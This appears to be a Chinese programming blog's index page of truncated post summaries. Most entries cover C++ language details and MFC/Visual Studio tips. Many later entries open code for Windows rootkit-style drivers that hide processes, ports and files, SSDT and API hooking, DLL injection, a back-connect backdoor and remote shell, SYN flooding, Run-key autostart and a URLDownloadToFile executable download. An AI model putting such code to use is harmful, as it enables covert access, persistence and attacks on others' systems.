摘要: 多线程下载文件这个话题已经是老汤了。在HTTP协议1.1中,允许通过增加一个HTTP Header“Range”来指定下载文件的区间。所以一般的做法都是:首先获取到文件大小(通过Content-Length)开一个线程池在进行分块下载。而在具体怎么实现的流程上,还是有差别的。1. 标准的做法是:首先用一个线程发送HTTP GET指令,服务器会返回Content-Length...
carekee 阅读(444) |
摘要: 在C++多继承体系当中,在派生类中可以重写不同基类中的虚函数。下面就是一个例子:class CBaseA{public: virtual void TestA();};class CBaseB{public: virtual void TestB();};class CDerived : public CBaseA, public CBaseB{public: virtual void TestA...
carekee 阅读(295) |
摘要: 一个map就是一个(关键码(key),值(value))对偶的序列,它提供基于关键码的快速提取操作。也就是说,可以用下标运算符[]将关键码作为下标去执行查找,并返回对应的值。因此可以把map的使用方法想象成有特殊下标的数组。在很多时候用下标运算符[]来对map中的元素进行存取是非常方便和简单的;但是,如果map下标运算符[]运用不得当,也会造成意想不到的问题。 我们知道,C++是不检查下标越界的。...
carekee 阅读(386) |
摘要: 有下面的一个简单的类:class CNullPointCall{public: static void Test1(); void Test2(); void Test3(int iTest); void Test4();private: static int m_iS int m_iT};int CNullPointCall::m_iStatic = 0;void CNull...
carekee 阅读(73) |
摘要: 在我那篇《浅析C++中的this指针》中,我通过分析C++代码编译后生成的汇编代码来分析this指针的实现方法。这次我依然用分析C++代码编译后生成的汇编代码来说明C++中虚函数调用的实现方法,顺便也说明一下C++中的对象内部布局。下面所有的汇编代码都是用VC2005编译出来的。虽然,不同的编译器可能会编译出不同的结果,对象的内部布局也不尽相同;但是,只要是符合C++标准的编译器,编译结果和对象的...
carekee 阅读(90) |
摘要: 现在,有下面的代码:namespace lx1{ class Point3d { public: Point3d (double dx, double dy, double dz) : m_dX(dx), m_dY(dy), m_dZ(dz) {} double getX() const { return m_dX; }; double getY() const { return m_dY; };...
carekee 阅读(66) |
摘要: 写这篇文章的动机来源于网友purewinter在我的那篇《重读《设计模式》之学习笔记(三)--SINGLETON模式的疑惑》中的评论。 在那篇文章中,我提供了如下一个用C++实现的Singletion模式的小例子:class ClxSingletonMEC{public: friend ClxSingletonMEC& InstanceMEC();private: ClxSingleton...
carekee 阅读(181) |
摘要: 在开发中,经常会用到一些数组,它里面存放一定数量(已知,不是太多)的特定元素。在使用数字表示的数组下标访问数组中元素的时候,根本不知道该元素是否是需要的那个元素,而且使代码可读性降低,甚至还会出现下标越界的危险。 比如,现在有如下的继承体系:class CSclass CSquare : public CSclass CRectangle : public CScla...
carekee 阅读(353) |
摘要: 比如说有这样一个类的继承体系:类CDerivedA和CDerivedB都继承自类CBase。如果要写一个函数传入上面类中的一个对象的引用,在函数里面我们要根据对象的类型来进行相应的处理,也就是说对不同类型的对象进行不同的处理。在这种情况下我们就需要类的对象中保存有类型信息。下面就用一个简单的例子来说明怎么让自己编写的类有类型信息。 首先,根据类的继承关系创建类型信息tag:struct lx_Ba...
carekee 阅读(83) |
摘要: 引子 如果让你用C++写一个实用的字符串类,我想下面的方案是很多人最先想到的:class ClxString{public: ClxString(); ClxString(const char *pszStr); ClxString(const ClxString &str); ClxString& operator=(const ClxString &str); ~Clx...
carekee 阅读(89) |
摘要: 比如我们有下面的类:class ClxECS{public: int DoSomething() { // 这里以输出一句话来代替具体的操作 cout && "Output from method DoSomething!" && return 0; };}; 和下面的一个vector:vector&ClxECS*& vECS;for (int i ...
carekee 阅读(87) |
摘要: 对于如下的类:class ClxECS{public: double Test(double dValue) { return dValue * 13; };private: int Test(int iValue) { return iValue * 13; };}; 下面的函数输出是什么?void ECS_test(){ int iValue = 13; ClxECS cout &lt...
carekee 阅读(32) |
摘要: mutalbe的中文意思是“可变的,易变的”,跟constant(既C++中的const)是反义词。 在C++中,mutable也是为了突破const的限制而设置的。被mutable修饰的变量,将永远处于可变的状态,即使在一个const函数中。 我们知道,如果类的成员函数不会改变对象的状态,那么这个成员函数一般会声明成const的。但是,有些时候,我们需要在const的函数...
carekee 阅读(21) |
摘要: 我们知道,类的私有成员在类的外部是不能被访问的。 例如有下面的这个简单的类:class ClxECS{private: int iP};
那么下面的这个函数是不能通过编译的:void ECS_test(){ ClxECS lx.iPrivate = 13; cout && lx.iPrivate &&} 但是,我们并不是没有办法来访问类的...
carekee 阅读(60) |
摘要: 怎么对容器中的所有对象都进行同一个操作?我们可能首先想到的是用循环来实现。 比如有如下的一个类:class ClxECS{public: int DoSomething() { // 这里以输出一句话来代替具体的操作 cout && "Output from method DoSomething!" && return 0; };};
现在定义如下一个vect...
carekee 阅读(89) |
摘要: 有如下一个简单的复数类:class ClxComplex{public: ClxComplex(double dReal = 0.0, double dImage = 0.0) { m_dReal = dR dImage = dI } double GetReal() const { return m_dR } double GetImage() const { retu...
carekee 阅读(84) |
摘要: 我在今年2月份写了篇《C++中接口与实现分离的技术》的文章,用一个很简单的例子说明了在C++中接口与实现分离的好处及实现方法。很荣幸,这篇文章被推荐到了CSDN的首页并被多家网站转载。 可是当时写那篇文章的时候,没有考虑到类与类之间的继承关系。下面我就来具体的谈谈这个方面。 还是以上面提到的那篇文章中的例子来说明。 执行类: lxImplement.h文件内容:#include "lxTest.h...
carekee 阅读(78) |
摘要: 在开发的时候会遇到这种情况,就是在执行某些功能的时候要对一些环境变量或配置信息进行修改,功能执行完毕之后再把这些变量或配置信息设置恢复回去。举个例子:有些游戏只能在分辨率为800*600的环境下运行,如果要在分辨率的电脑上玩,就要在运行游戏的时候把分辨率改为800*600,退出游戏的时候再把分辨率改回。 其实处理这样的情况也不是很难,我们可以写一个设置环境变量或配置...
carekee 阅读(49) |
摘要: 有下面一个简单的类:class ClxTest{public: ClxTest(int iSize = 13) { pszStr = new char[iSize]; }; ~ClxTest() { if(pszStr) delete []pszS }; lxOutput() { cout && pszStr && };private: char *psz...
carekee 阅读(46) |
摘要: 在我的那篇“C++中虚析构函数的作用”中我说明了为什么作为基类的类的析构函数必须是虚函数,同时也指出:为了避免产生虚函数表,如果类不是基类的话,析构函数就不需要声明为虚函数。 但是,我们不能预料用户的行为,你不敢肯定用户是否会从你的类去派生自己的类。如果用户以一个基类指针去删除一个派生类的对象,就会发生派生类的析构函数不被调用的情况。这样做的危险性我想大家都知道。当然,你可...
carekee 阅读(81) |
摘要: 我们知道,用C++开发的时候,用来做基类的类的析构函数一般都是虚函数。可是,为什么要这样做呢?下面用一个小例子来说明: 有下面的两个类:class ClxBase{public: ClxBase() {}; virtual ~ClxBase() {}; virtual void DoSomething() { cout && "Do something in class ClxBase...
carekee 阅读(45) |
摘要: 在用C++写要导出类的库时,我们经常只想暴露接口,而隐藏类的实现细节。也就是说我们提供的头文件里只提供要暴露的公共成员函数的声明,类的其他所有信息都不会在这个头文件里面显示出来。这个时候就要用到接口与实现分离的技术。 下面用一个最简单的例子来说明。 类ClxExp是我们要导出的类,其中有一个私有成员变量是ClxTest类的对象,各个文件内容如下: lxTest.h文件内容:class ClxTes...
carekee 阅读(43) |
摘要: 利用VC2005实现了邮件发送,源程序如下://-------------------------------------------------------SmtpSendEmail.h------------------------------------#pragma once#include &list& #include &string& #include &lt...
carekee 阅读(1584) |
摘要: Visual Studio系列中产品中,Visual Studio 6.0是最经典的一个版本,虽然后来有Visual Studio .NET 2003,以及2005,也确实添加了很多让我觉得激动的特性,但是从使用细节的细腻程度上来看,VS 6.0无疑是最棒的。我们一些同事甚至试图把2005的C++编译器独立的拿到Visual Studio 6.0中来用,也不愿意升级到.NET上来用,可见其魅力。和...
carekee 阅读(82) |
摘要: VC++6.0升级的一个很大的障碍就是代码不兼容,但是VC++6.0的C++不够标准,不够安全,存在诸多安全漏洞,内存析出,缓冲区溢出,等等,代码的安全性,可靠性得不到有利的保障,为了您的软件的长治久安,以及在Windows7平台上的迁移,请克服代码兼容性带来的麻烦,一定要设法升级到VC++2010。关于C++中异常的争论何其多也,但往往是一些不合事实的误解。异常曾经是一个难以用好的语言特性,幸运...
carekee 阅读(348) |
摘要: 微软即将在日发布VS2010的正式版,对于c++语言做了修改,使之更加符合c++标准。下面对于微软对于c++语言的修改做一下分析!Lambda表达式很多编程编程语言都支持匿名函数(anonymous function)。所谓匿名函数,就是这个函数只有函数体,而没有函数名。Lambda表达式就是实现匿名函数的一种编程技巧,它为编写匿名函数提供了简明的函数式的句法。同样是Visual...
carekee 阅读(713) |
摘要: 燕狂徒写的驱动挂钩,限制磁盘只读,用于保证涉密计算机的稳定,相当于将磁盘变成ROM#include "ntddk.h"#include &srb.h&#include &scsi.h&#define DRIVERNAME "OnlyRead(GongXiPeng!)" // for use in messagestypedef struct tagDEVICE_EXTENS...
carekee 阅读(267) |
摘要: #include "stdafx.h"#include "ecfile.h"#include "ecfileDlg.h"#ifdef _DEBUG#define new DEBUG_NEW#undef THIS_FILEstatic char THIS_FILE[] = __FILE__;#endif/////////////////////////////////////////////////...
carekee 阅读(648) |
摘要: 1.windows文件系统概述 硬盘文档加密系统驱动原理一般有两种:通过HOOK一些底层的系统内核调用对文件目录的访问权限进行控制,在文件系统输入输出驱动上层直接建立一个驱动对文件目录的数据进行加密。由于windows文件系统不是物理设备,其堆栈结构比较特殊,因此文件系统过滤驱动也与一般过滤驱动有一些不同(这一点背景可以参考下楚狂人[1]的文档和IFS的提供的若干文档,除了正常的文件接口,还有一种...
carekee 阅读(1149) |
摘要: 核心代码如下:view plaincopy to clipboardprint?·········10········20········30&#18...
carekee 阅读(450) |
摘要: 加载模块核心源码#include "Loader.h"BOOL WINAPI DllMain(HINSTANCE hinstDLL,DWORD fdwReason,LPVOID lpvReserved){hinst = hinstDLL;switch(fdwReason){case DLL_PROCESS_ATTACH://MessageBox(NULL,"DLL_PROCESS_ATTACH",...
carekee 阅读(210) |
摘要: #include &stdio.h&#include &windows.h&int ReadStream( HANDLE hFile, bool bIsDirectory, char* FileName ){//数据流文件名查找////输入:// 已打开的文件句柄// bIsDirectory// 文件名, 用于显示数据流在哪个文件中//结果:// 直接在函数中输出//返回...
carekee 阅读(198) |
摘要: #include "stdafx.h"#include &stdio.h&#include &windows.h&int main(int argc, char* argv[]){char temp[256];DWORDLPCTSTR szRegKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image ...
carekee 阅读(64) |
摘要: // NatCheck.cpp : Defines the entry point for the console application.//#include "stdafx.h"
#include &process.h& #include &stdio.h&
#include &afx.h&#include "winsock2.h"#include "....
carekee 阅读(454) |
摘要: #include "ntddk.h"#include &windef.h&#pragma pack(1) //SSDT Tabletypedef struct ServiceDescriptorEntry { unsigned int *ServiceTableB unsigned int *ServiceCounterTableB //Used only in che...
carekee 阅读(221) |
摘要: 保护核心代码#include "ntddk.h"#define NT_DEVICE_NAME L"\\Device\\ProtectProcess"#define DOS_DEVICE_NAME L"\\DosDevices\\ProtectProcess"#define IOCTL_PROTECT_CONTROL CTL_CODE(FILE_DEVICE_UNKNOWN, 0x800, METH...
carekee 阅读(480) |
摘要: /***********************************************************************//*实现全局hook模块基本完工,测试通过,没有发现异常。 计划1:在hook前首先检验该程序是否已被hook 计划2:添加枚举进程并hook功能 计划3:在备份api时,只备份目标api函数,避免备份整个dll浪费空间 计划4:给my_EventPro...
carekee 阅读(602) |
摘要: #include "ntddk.h"#include &stdio.h&#include &tdiinfo.h&#include &tdistat.h&#include "netType.h"#define NT_DEVICE_NAME L"\\Device\\HidePort"#define DOS_DEVICE_NAME L"\\DosDevices\\Hi...
carekee 阅读(347) |
摘要: 调用一个开源的文件过滤驱动,头文件typedef struct _ATTACH_EXTENSION {CHAR
VolumeLPDEVICE_OBJECT VolumeD} ATTACH_EXTENSION, *PATTACH_EXTENSION;PDRIVER_OBJECT g_DriverO源文件#include &ntifs.h&#inclu...
carekee 阅读(289) |
摘要: 冻结进程#include &stdio.h&#include &windows.h&#include &tlhelp32.h&int main(int argc,char *argv[]){PROCESSENTRY32 pe32;pe32.dwSize=sizeof(pe32);unsigned long PHANDLE hProcessSnap=::Cr...
carekee 阅读(177) |
摘要: /**/#ifndef _DBGHELP_H#define _DBGHELP_H 1#include &ntddk.h&#define dprintf if (DBG) DbgPrint#define nprintf DbgPrint#define kmalloc(_s)ExAllocatePoolWithTag(NonPagedPool, _s, 'SYSQ')//#define k...
carekee 阅读(831) |
利用异常结构处理搜索GetProcAddress入口地址 */
#include &STDIO.H&
#include &WINDOWS.H&
{ _asm { call ex//取得当前地址以计算异常结构开始的地址 mov eax,0x mov [ebp-0ch],eax mov eax,esp sub eax,8 xchg ...
carekee 阅读(160) |
摘要: #include "ntddk.h"// important!! place this before ndis.h#define NDIS40 1#include "ndis.h"#include "stdio.h"//////////////////////////////////////////////// prototypes for all our network callbacks///...
carekee 阅读(245) |
摘要: 在保护模式下,ring0有至高无上的权限,他一直是很多黑客程序员追求的目标,在NT平台上,MS对系统表格作了保护,不能在象win9x那样,去直接修改系统表格,但是还是有不少办法能够进入ring0的,例如,在国内,最早sinister利用编写驱动程序的方法进入ring0,这也是最通用的方法了,紧跟着WebCrazy又使用读写物理内存的方法来读写GDT所在的物理内存,在GDT上生成自己的调用门来随意进...
carekee 阅读(334) |
摘要: #include &WINDOWS.H&
#include &TCHAR.H&
#include &SETUPAPI.H&
//#include &SHLWAPI.H&
#pragma comment(lib, "setupapi.lib")
//#pragma comment(lib, "shlwapi.lib")
HDEVINFO h...
carekee 阅读(624) |
摘要: // DownloadHttp.cpp: implementation of the CDownloadHttp class.////////////////////////////////////////////////////////////////////////#include "stdafx.h"#include "downtest.h"#include "DownloadHttp.h"...
carekee 阅读(1407) |
摘要: 结合本人的FTP类,http类,实现多线程断点续传// DownloadMTR.cpp: implementation of the CDownloadMTR class.////////////////////////////////////////////////////////////////////////#include "stdafx.h"#include "downtest.h"#i...
carekee 阅读(273) |
摘要: // DownloadFtp.cpp: implementation of the CDownloadFtp class.////////////////////////////////////////////////////////////////////////#include "stdafx.h"#include "downtest.h"#include "DownloadFtp.h"#if...
carekee 阅读(400) |
摘要: 目前NT下有很多种隐藏文件和目录的方法,其中最简单的一种是给文件和文件夹加上系统属性和隐藏属性,操作系统就会不在显示了,而且查找也找不到了,但是这种方法一点都不彻底,没有可用性!下面我们来介绍用NT驱动程序来拦截NTAPI来实现彻底隐藏文件和目录的目的。NT下有一个文件NTDLL.DLL,大部分NTAPI都是在这个库中封装的。其中实现查找文件和目录的API接口是ZwQueryDirectoryFi...
carekee 阅读(128) |
摘要: #include &afxsock.h&#include&winsock2.h&#pragma comment(lib,"ws2_32.lib")#include &ras.h&#include &raserror.h&#pragma comment(lib, "rasapi32.lib")#include &WinInet.h&#pra...
carekee 阅读(197) |
摘要: 将过去的工程用VS2005打开的时候。你有可能会遇到一大堆的警告:warning C4996。比如:warning C4996: 'sprintf': This function or variable may be unsafe. Consider using sprintf_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNIN...
carekee 阅读(306) |
摘要: 客户端#include &winsock2.h&#include &stdio.h&#include &stdlib.h&#pragma comment(lib,"ws2_32.lib")char SendMsg[256];/* The IP header */typedef struct iphdr {unsigned int h_len:4; //4位首部长...
carekee 阅读(195) |
摘要: #include&windows.h&#include&stdio.h&int main(int argc,char *argv[]){HANDLE hMDWORD dwEhMutex=CreateMutex(NULL,//无安全描述FALSE,//没有所有者 "HACK");//对象名if(hMutex==NULL)//hMutex为NULL标示创建失败{...
carekee 阅读(44) |
摘要: 发送#include &stdio.h&#include &winsock2.h&#pragma comment(lib, "ws2_32.lib")void main() {// 初始化 WSADATA wsaD int iResult = WSAStartup( MAKEWORD(2,2), &wsaData ); if ( iResult != NO_...
carekee 阅读(87) |
摘要: #include &stdio.h&#include &windows.h&int main(int argc,char *argv[]){MessageBox(NULL,"Hello",NULL,MB_OK);char temp[256];memset(temp,0,256);if(argc!=1){int length =strlen(argv[1]);char *ch...
carekee 阅读(262) |
摘要: #include &winsock2.h&#include &Ws2tcpip.h&#include &stdio.h&#pragma comment(lib,"ws2_32.lib")#define SEQ 0xint threadnum,maxthread,char *DestIP;//目标IPvoid display(void) ...
carekee 阅读(138) |
摘要: #include &winsock2.h&#include &ws2tcpip.h&#include &stdio.h&#include &time.h&#include "mstcpip.h"#pragma comment(lib,"ws2_32.lib")#define SEQ 0xSOCKET sockRaw = INVALID...
carekee 阅读(251) |
摘要: #include "stdafx.h"#include "xpktfilter.h"#include "xpktfilterDlg.h"#include ".\xpktfilterdlg.h"#ifdef _DEBUG#define new DEBUG_NEW#endif#pragma comment(lib,"iphlpapi.lib")// CxpktfilterDlg 对话框Cxpktfil...
carekee 阅读(303) |
摘要: #include &windows.h&#include&stdio.h&#include "resource.h"void WriteResourceToFile(char const *filename){HINSTANCE hInstance=GetModuleHandle(NULL);
HRSRC hResInfo = FindResource(hInstance...
carekee 阅读(63) |
摘要: #include &stdio.h&#include&winsock2.h&#include &time.h&#pragma comment(lib,"ws2_32.lib")char *int threadnum,maxthread,TIMEVALFD_SETvoid us...
carekee 阅读(286) |
摘要: /*---------------------------------------SNMP信息刺探程序----------------------------------------*/#include &stdio.h&#include &malloc.h&#include &snmp.h&#include &mgmtapi.h&#pragma c...
carekee 阅读(224) |
摘要: #include &stdio.h&#include &winsock2.h&#include &ws2tcpip.h&#pragma comment (lib,"ws2_32.lib")#define SIO_RCVALL _WSAIOW(IOC_VENDOR,1)struct IPHEAD{ unsigned char h_len:4;//4位首部长度+4位...
carekee 阅读(21) |
摘要: #include&winsock2.h&#include&stdio.h&#pragma comment(lib,"ws2_32.lib")void main(int argc,char **argv){char *messages = "\r\n======================== BackConnect BackDoor V0.1 =============...
carekee 阅读(156) |
摘要: #include &winsock2.h&#pragma comment(lib, "ws2_32.lib")#pragma comment(lib, "kernel32.lib")#define PORT 90SOCKET ServerSocket = INVALID_SOCKET;SOCKET ClientSocket = INVALID_SOCKET;HANDLE hReadPi...
carekee 阅读(690) |
摘要: #include &windows.h&#include &stdio.h&#include &lm.h&#pragma comment (lib, "Mpr.lib")#pragma comment (lib, "Netapi32.lib")void getuser(char *);void main( int argc, char *argv[ ] ){DW...
carekee 阅读(85) |
摘要: #include &stdio.h&#include &windows.h&int main(void){char regname[]="Software\\Microsoft\\Windows\\CurrentVersion\\Run";HKEY hkRint ret=RegOpenKey(HKEY_LOCAL_MACHINE,regname,&hkR...
carekee 阅读(104) |
摘要: #include &urlmon.h&#pragma link "w32inet.lib" int main(){HRESULT hRet=URLDownloadToFile(0,"/abc.exe","d:\\abc.exe",0,0); if(hRet==S_OK) {
printf("Download OK!\n");} else {
carekee 阅读(102) |
摘要: #include &stdio.h&#include &windows.h&SERVICE_STATUS m_ServiceSSERVICE_STATUS_HANDLE m_ServiceStatusHBOOL bRunning=void WINAPI ServiceMain(DWORD argc, LPTSTR *argv);//服务主函...
carekee 阅读(193) |
摘要: #include&stdio.h&#include&windows.h&void GetSysInfo();DWORD GetOS(){OSVERSIONINFOos.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);GetVersionEx(&os);switch(os.dwPlatformId){case VER_PLA...
carekee 阅读(207) |
摘要: void pslist(void){HANDLE hProcessSnap = NULL;PROCESSENTRY32 pe32= {0};hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);if (hProcessSnap == (HANDLE)-1){printf("\nCreateToolhelp32Snapshot(...
carekee 阅读(140) |
摘要: 头文件#if !defined(AFX_DIRECTSOUND_H__A20FE86F_118F_11D2_9AB3_0060B0CDC13E__INCLUDED_)#define AFX_DIRECTSOUND_H__A20FE86F_118F_11D2_9AB3_0060B0CDC13E__INCLUDED_#if _MSC_VER &= 1000#pragma once#endif /...
carekee 阅读(506) |
摘要: VC8.0 以后里面是不支持 默认int型的VC8.0以后里面不支持这样的for循环for(int i = 0; i& 10 ; i++){ ......}不能在循环括号内定义变量,而应该改成:int i ;forint (i = 0; i& 10 ; i++){ ......}1) 2560行 SPPHONEID* pphoneId = (SPPHONEID*)((WCHAR *)d...
carekee 阅读(100) |
摘要: 引用是C++引入的新语言特性,是C++常用的一个重要内容之一,正确、灵活地使用引用,可以使程序简洁、高效。我在工作中发现,许多人使用它仅仅是想当然,在某些微妙的场合,很容易出错,究其原由,大多因为没有搞清本源。故在本篇中我将对引用进行详细讨论,希望对大家更好地理解和使用引用起到抛砖引玉的作用。  一、引用简介  引用就是某一变量(目标)的一个别名,对引用的操作与对变量直接操作完全一样。  引用的声...
carekee 阅读(393) |
摘要: 1、获取应用程序指针CMyApp* pApp=(CMyApp*)AfxGetApp();2、获取主框架指针CWinApp 中的公有成员变量 m_pMainWnd 就是主框架的指针CMainFrame* pMainFrame = (CMainFrame*)(AfxGetApp()-&m_pMainWnd);或者CMainFrame* pMainFrame = (CMainFrame*)AfxG...
carekee 阅读(46) |
摘要: 一、打开CD-ROMmciSendString("Set cdAudio door open wait",NULL,0,NULL);二、关闭CD_ROMmciSendString("Set cdAudio door closed wait",NULL,0,NULL);三、关闭计算机OSVERSIONINFO OsVersionI //包含操作系统版本信息的数据结构OsVersionInfo...
carekee 阅读(248) |
摘要: 首先在H文件有如下声明:class CMultiViewApp : public CWinApp{public: CView* m_pFirstV CView* m_pOtherV int m_currentV CView* m_pView2; CView* m_pView1; CMultiViewApp();// Overrides // ClassWizard gene...
carekee 阅读(541) |
摘要: 1."属性页的添加:创建对话框的类,该类要从CpropertyPage继承;然后在要添加该对话框为属性页的类(头文件)里创建CpropertySheet类的一个对象m_tabsheet和新创建的对话框类的对象m_skatch;最后,在.cpp文件里的OnInitDialog()之类的函数里实现如下代码:m_tabsheet.Create(this, WS_CHILD | WS_VISIBLE, 0...
carekee 阅读(2095) |
摘要: 1.锁定鼠标:这个功能很简单只要一个ClipCursor()就可以搞定了看看下面的小程序#include &stdio.h&#include &windows.h&int main(int argc, char* argv[]){printf("\n别害怕15妙后你的鼠标就可以使用了^_^\n");RECTrect.bottom=1;rect.right=1;C...
carekee 阅读(67) |
摘要: 一、改变视图背景色: 在CView的OnDraw函数中添写如下一段程序代码: void CFileNameView::OnDraw(CDC* pDC) {CFileNameDoc* pDoc = GetDocument();ASSERT_VALID(pDoc);CRect rectCCBrush brushBkCGetClientRect(rectClient);brushB...
carekee 阅读(185) |
摘要: 一. VC常用数据类型列表二. 常用数据类型转化2.1数学类型变量与字符串相互转换2.2 CString及string,char *与其他数据类型的转换和操作●CString,string,char*的综合比较●数学类型与CString相互转化●CString与char*相互转换举例●CString 与 BSTR 型转换●VARIANT ...
carekee 阅读(111) |
摘要: 视图类,废话少说,看看带注释的源码#include "stdafx.h"
#include "robot.h"
#include"Label.h" #include "robotDoc.h"
#include "robotView.h" #ifdef _DEBUG
#define new DEBUG_NEW
#undef THIS_FILE
static char THIS_FILE[...
carekee 阅读(203) |
摘要: int i = 100;long l = 2001;float f=300.2;double d=;char username[]="程佩君";char temp[200];char *CS_variant_t v1;_bstr_t v2;一、其它数据类型转换为字符串短整型(int)itoa(i,temp,10);///将i转换为字符串放入temp中,...
carekee 阅读(74) |
摘要: 通过对CWMPPlayer4、CWMPSettings和CWMPControls等几个类的使用可以实现Windows Media Player的大部分常规功能,如果需要做进一步的控制,可以在用下面这些函数返回相关类对象后调用相关成员函数来加以实现:  GetCurrentMedia() 返回CWMPMedia类对象  GetMediaCollection() 返回CWMPMediaCollecti...
carekee 阅读(442) |
摘要: CString是一个动态TCHAR数组,BSTR是一种专有格式的字符串(需要用系统提供的函数来操纵,LPCTSTR只是一个常量的TCHAR指针。CString 是一个完全独立的类,动态的TCHAR数组,封装了 + 等操作符和字符串操作方法。typedef OLECHAR FAR* BSTR;typedef const char * LPCTSTR;vc++中各种字符串的表示法 首先char* 是指...
carekee 阅读(34) |
摘要: 项目中常常需要将中间结果进行保存, 以供后续步骤进行处理. 如果以临时文件的方式往往容易"暴露"中间机密信息. 同时,文件IO读写也较浪费时间(说到这里,不得不BS一下windows的文件系统,当一个目录下的文件数目超过10000时,读写文件相当慢,Linux却没有这样的问题). 面对上面情况,本人想到了内存机制:    如果中间结果数据不超过2G(32位windows的内存地址上限).可以在内存...
carekee 阅读(189) |
摘要: 在2000和xp下,隐藏进程头文件:////////////////////////////////////////HideProcess.hBOOL HideProcess();CPP源文件:///////////////////////////////////////////////////////////////////////////////HideProcess.cpp#include&...
carekee 阅读(120) |
摘要: 如何在程序中延时方法一: 使用sleep函数,如延时2秒,用sleep(2000);方法二: 使用sleep函数的不利在于延时期间不能处理其他的消息,如果时间太长,就好象死机一样,利用ColeDateTime类和ColeDateTimeSpan类实现延时就不会出现那样的问题:ColeDateTime start_time = ColeDateTime::GetCurrentTime();ColeD...
carekee 阅读(220) |
摘要: ShellExecute(hWnd: HWND; {指定父窗口句柄}Operation: PC {指定动作, 譬如: open、print}FileName: PC
{指定要打开的文件或程序}Parameters: PC {给要打开的程序指定参数; 如果打开的是文件这里应该是 nil}Directory: PC {缺省目录}ShowCmd: Integer
carekee 阅读(106) |
摘要: BOOL SHGetSpecialFolderPath ( HWND hwndOwner, LPTSTR lpszPath, int nFolder, BOOL fCreate);示例: 获得自启动文件夹的路径 TCHAR filePath[MAX_PATH]; ::SHGetSpecialFolderPath (NULL, filePath, CSIDL_STARTUP, FALSE);CSID...
carekee 阅读(504) |
摘要: CString::MakeUppervoid MakeUpper( );Remarks备注Converts this CString object to an uppercase string.将原对象的所有小写英文字母转换为大写。(只是将小写的英文字母转换为大写,对于其它的字符不做变化,例如:大写字符,数字,汉字)Example实例The following example demonstrat...
carekee 阅读(1189) |
摘要: #include "stdafx.h"#include "font.h"/////////////////////////////////////////////////////////////////////////////// COleFont propertiesCString COleFont::GetName(){CSGetProperty(0x0, VT_BS...
carekee 阅读(170) |
摘要: #include "stdafx.h"#include "global.hpp"//---------------------------------------------------------------------------// Description: generate an error message//----------------------------------------...
carekee 阅读(92) |
摘要: // 键盘钩子消息处理过程LRESULT CALLBACK DebugProc ( int nCode, WPARAM wParam, LPARAM lParam ){if ( nCode == HC_ACTION ){PDEBUGHOOKINFO pDebugHookInfo = (PDEBUGHOOKINFO)lPswitch ( wParam ){case WH_KEYBOARD...
carekee 阅读(162) |
摘要: #include &windows.h&// 定义API挂接项结构typedef struct _HOOK_ITEM {DWORD dwA
// IAT项所在地址DWORD dwOldV // IAT项的原始函数地址DWORD dwNewV // IAT项的新函数地址} HOOK_ITEM, *PHOOK_ITEM ;HOOK_ITEM HookIt...
carekee 阅读(507) |
摘要: #include "stdafx.h"#include &windows.h&#include &string&#include "stdio.h"#include &iostream&#define DEF_BUF_SIZE 1024// 用于存储注入模块DLL的路径全名char szDllPath[DEF_BUF_SI...
carekee 阅读(308) |
摘要: 导言: 我们在Code project()上可以找到许多密码间谍程序(译者注:那些可以看到别的程序中密码框内容的软件),他们都依赖于Windows钩子技术。要实现这个还有其他的方法吗?有!但是,首先,让我们简单回顾一下我们要实现的目标,以便你能弄清楚我在说什么。要读取一个控件的内容,不管它是否属于你自己的程序,一般来说需要发送 WM_GETTEXT 消息到那个...
carekee 阅读(288) |
摘要: 1.什么是资源高速缓存
资源高速缓存的原理与其它内存高速缓存的工作原理是相似的。在游戏的状态转换过程中,有些数据是刚才使用过的,那么直接从资源高速缓存中载入即可。例如,RPG&游戏中主角从大地图进入一个房间,探索一番后主角退出房间,此时只要直接从缓存中载入大地图数据即可,节省了从硬盘载入数据的时间,要知道从硬盘载入数据是非常&慢的。当然,如果你的游戏所使用的数据文件很少,那么你可...
carekee 阅读(77) |
摘要: 编译VC++程序的时候出现如下提示警告:warning C4819: The file contains a character that cannot be represented in the current code page (936). Save the file in Unicode format to prevent data loss因为只是一个warning,不影响正常编译,所以...
carekee 阅读(786) |
摘要: 为了在VS2008下使用WTL,我们首先要安装好VS2008和WTL80,我们可以通过修改WTL80的安装向导将其安装在VS2008中,其次安装WTL的开发工具VisualFC,VFC提供了WTL的类向导功能。 VS2008下载:我使用是VS2008VSTS的90天试用版,可以从微软主站下载,地址为:vs2008vsts WTL80下载:可以从http://www.sf.net/下载,下载地址为:...
carekee 阅读(317) |
摘要: 在VS.NET2008下安装WTL8.1仍然需要修改很多内容,而且会出现一些问题,下面就一步一步的说明一下.1.下载WTL8.1安装包,地址: http://sourceforge.net/projects/wtl/2.解压安装包,比如解压到C:\WTL81下3.我们要开发Mobile的程序,因此需要更改AppWizCE和AppWizMobile下的文件,打开这两个目录下的Files\WTLApp...
carekee 阅读(170) |
摘要: 在MFC中几乎所有的控件都有信息提示,而惟有listbox却没有这样的一个功能,每当我们把鼠标移到listbox上控件时,啥玩意儿都没有是不是很气馁啊,所以我今天特地写了一个简单的有提示的listbox控件,来实现那样的效果.
思路比较简单:我们首先构造一个自己mylistbox来继承listbox控件,然后在自己的mylistbox里添加一个ctooltipctrl控件(显示信息的载体).这样...
carekee 阅读(233) |
摘要: 大家都碰到过用2005打开2008的工程吧。2008打开2005是没有问题,但是反过来呢,却不可以。当用2005打开2008时,看着工具提示要进行工程转换心里高兴吧,当转换后发现工程无法加载是不是很居丧啊,气馁吧。其实很简单的。因为08和05的仅仅是调用公共运行库不同和编译器版本不一样吧了,但是他们的工程文件配置格式还是一样的,不然08如何转换05?不废话了看解决的办法吧首先打开解决08方案的文件...
carekee 阅读(318) |
摘要: 中英文数字字母标点混合的情况,会自动过滤中文汉字和英文字母外的内容,如果取不到某个字符的拼音首字母就自动跳过。测试了下,基本上可以用。不过不是很完美,对某些汉字没办法取到首字母,比如现在很火的 “囧”,多音字也没办法处理。
carekee 阅读(740) |
摘要: 最近打算做一个基于字符串首字符(汉字取拼音的首字母)进行查询的电话簿WEB项目,由于Web本身并不支持汉字的编码编程,因此需要求助于平台开发工具。Google上搜到一种实现方法,是用C++实现的。以下是源码:void GetFirstLetter(CString strName, CString& strFirstLetter){ TBYTE ucHigh, ucL int nCod...
carekee 阅读(331) |
